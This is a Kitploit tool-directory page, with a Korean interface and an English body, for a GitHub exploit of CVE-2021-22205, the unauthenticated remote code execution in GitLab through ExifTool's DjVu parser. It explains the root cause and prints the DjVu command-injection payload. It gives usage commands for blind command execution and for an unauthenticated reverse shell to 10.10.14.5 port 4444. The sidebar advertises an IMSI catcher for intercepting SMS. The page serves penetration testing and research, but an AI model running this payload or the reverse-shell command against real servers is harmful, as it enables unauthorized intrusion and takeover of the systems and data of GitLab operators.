Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-22205 — Unauthenticated RCE in GitLab CE/EE from 11.9 (fixed in 13.8.8, 13.9.6, 13.10.3) via the bundled ExifTool (CVE-2021-22204). Pure-Python DjVu builder, no djvulibre. Unauth and authenticated vectors, non-destructive check. | Kitploit
도구/GitHubGitHub/d4ytox/cve-2021-22205
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubd4ytox/cve-2021-22205

CVE-2021-22205

Unauthenticated RCE in GitLab CE/EE from 11.9 (fixed in 13.8.8, 13.9.6, 13.10.3) via the bundled ExifTool (CVE-2021-22204). Pure-Python DjVu builder, no djvulibre. Unauth and authenticated vectors, non-destructive check.

12026년 11월 10일아직 검토되지 않음
공유
저장소 보기웹사이트
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2021-22205 - GitLab ExifTool command injection

GitLab hands uploaded images to a bundled copy of ExifTool to strip metadata. ExifTool mishandles a DjVu annotation chunk and runs part of it as Perl (CVE-2021-22204), so an uploaded "image" executes commands as the git user. The upload is parsed before the request is authenticated, so no account is needed.

Affects GitLab CE and EE 11.9 through 13.8.7, 13.9 through 13.9.5, and 13.10 through 13.10.2. Fixed in 13.8.8, 13.9.6 and 13.10.3.

The bug

GitLab routes every upload through gitlab-workhorse first. HandleFileUploads in workhorse/internal/upload/uploads.go is called from a PreAuthorizeHandler context, so it runs before any authentication or routing check. When the uploaded file looks like a JPEG or TIFF, workhorse calls down to exif.go, which shells out to ExifTool to remove metadata.

ExifTool treats a file by its content, not its name, so a file sent as x.jpg that actually begins with the DjVu magic AT&TFORM is parsed as DjVu. Image::ExifTool::AIFF::ProcessAIFF walks the IFF chunks and dispatches the ANTa annotation chunk to Image::ExifTool::DjVu::ParseAnt. That parser resolves C escape sequences in a quoted string by handing it straight to eval (DjVu.pm, pre-fix line 233):

# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};

$tok is bytes from the file. The line above it tries to neutralise $ and @ so interpolation cannot reach code, but it never escapes a ". William Bowling's original payload exploits that: a backslash followed by a newline satisfies the parser's "was the quote escaped?" check ($ in the regex matches before a trailing newline), which appends a raw " into the token. The injected quote closes the string early and everything after it is evaluated as Perl:

(metadata
	(Copyright "\
" . qx#COMMAND# . \
" b ") )

qx#...# is a shell command run by Perl. The # is the quote delimiter, which is the only character the command itself cannot contain. ExifTool's own fix in 12.24 removed the eval entirely and replaced it with an eight-entry escape table, so the sink is gone rather than filtered.

GitLab's patch did not touch the pre-auth reachability. It added isTIFF and isJPEG content checks so a DjVu file is rejected before it reaches ExifTool, and it bundled a fixed ExifTool. An unpatched server runs ExifTool on the file and answers 422; a patched one rejects it earlier and answers 404. That difference is what --check reads.

Usage

python3 exploit.py -t http://target --check             # is it vulnerable? drops nothing
python3 exploit.py -t http://target -c 'id'             # unauthenticated, blind
python3 exploit.py -t http://target -s 10.10.14.5 4444  # unauthenticated reverse shell
python3 exploit.py -t http://target -u user -p pass -c 'id' --vector auth

Execution is blind: nothing of the command's output comes back in the HTTP reply. Use -s for a shell, or redirect output somewhere you can reach.

ExifTool runs on a queue, so a command can take a few seconds to fire. A reverse shell holds the connection open.

Vectors

VectorReachable byNotes
unauth (default)anonymousPOSTs the file to a random path at web root. No session, no CSRF token, not a real endpoint.
autha logged-in user (-u/-p)POSTs to /uploads/user with a scraped CSRF token. Only useful where anonymous upload is blocked by something in front of GitLab, since the bug itself needs no login.

Requirements

Python 3 and requests.

Affected versions

FieldValue
CVECVE-2021-22205 (GitLab), chaining CVE-2021-22204 (ExifTool)
AdvisoryGitLab security release, 14 April 2021
Affected>=11.9 <13.8.8 || >=13.9 <13.9.6 || >=13.10 <13.10.3
Fixed in13.8.8, 13.9.6, 13.10.3
ExifTool7.44 through 12.23, fixed in 12.24
CVSS v3.19.9 at release, raised to 10.0 on 21 September 2021 when it was reclassified from authenticated to unauthenticated
CWECWE-94
CISA KEVAdded 3 November 2021

Origin

RoleWho
Reported to GitLab byWilliam Bowling (vakzz), via the GitLab bug bounty programme - HackerOne #1154542
ExifTool fix byPhil Harvey, ExifTool 12.24
Unauthenticated path documented byJacob Baines, Rapid7 - root cause analysis
This implementation byd4ytox

References

  • GitLab security release, 14 April 2021
  • GitLab: action needed in response to CVE-2021-22205 - the affected-version list and the in-the-wild confirmation
  • William Bowling's report, HackerOne #1154542 - the original DjVu payload
  • Rapid7 root cause analysis - why the upload reaches ExifTool before authentication
  • NVD - CVE-2021-22205
  • NVD - CVE-2021-22204 - the ExifTool half
  • The ExifTool 12.24 fix - removes the eval from the DjVu reader

Licence

MIT, see LICENSE. The grant covers this implementation. GitLab and ExifTool carry their own licences

Legal

For authorised testing and research only. Running this against a system you do not own, or do not have written permission to test, is illegal in most places. The exploit uploads a file and executes a command on the target, and it leaves the upload and log entries behind. Remove anything you drop when you are done.

도구 다운로드

관련 도구

  • metasploit-framework

    네트워크 및 애플리케이션 전반에 걸친 침투 테스트, 취약점 검증, 보안 연구를 위한 모듈식 페이로드, 인코더 및 보조 시스템을 갖춘 오픈소스 익스플로잇 프레임워크.

  • donut

    x86, x64, 또는 AMD64+x86 포지션 독립적 셸코드를 생성하여, 메모리에서 .NET 어셈블리, PE 파일 및 기타 Windows 페이로드를 로드하고 매개변수와 함께 실행합니다.

  • sRDI

    Reflective DLL Injection의 셸코드 구현. DLL을 위치 독립적인 셸코드로 변환합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    Callisto

    jetp1ane/callisto

    Ghidra를 통해 실행 파일을 디컴파일하고, Semgrep으로 의사 C 코드를 스캔하며, GPT-3.5-Turbo를 사용하여 결과를 검증해 거짓 양성을 줄이는 자동화된 바이너리 취약점 분석 도구입니다.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    SMS를 가로채고, 메시지를 주입하며, 모바일 기기를 추적하기 위해 악성 GSM 셀을 배포하는 IMSI Catcher 플랫폼

    721
  • 4

    opencti

    opencti-platform/opencti

    오픈 사이버 위협 인텔리전스 플랫폼

    535
  • 5

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    424
  • 6

    DFRoot

    a2333c/dfroot

    삼성 Galaxy S25 Ultra(SM-S938B)용 Android 루트 도구로, DirtyFrag CVE-2026-43284와 CVE-2026-43499를 연쇄하여 KernelSU를 통해 부팅 시 자동으로 루트 권한을 획득합니다.

    419

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →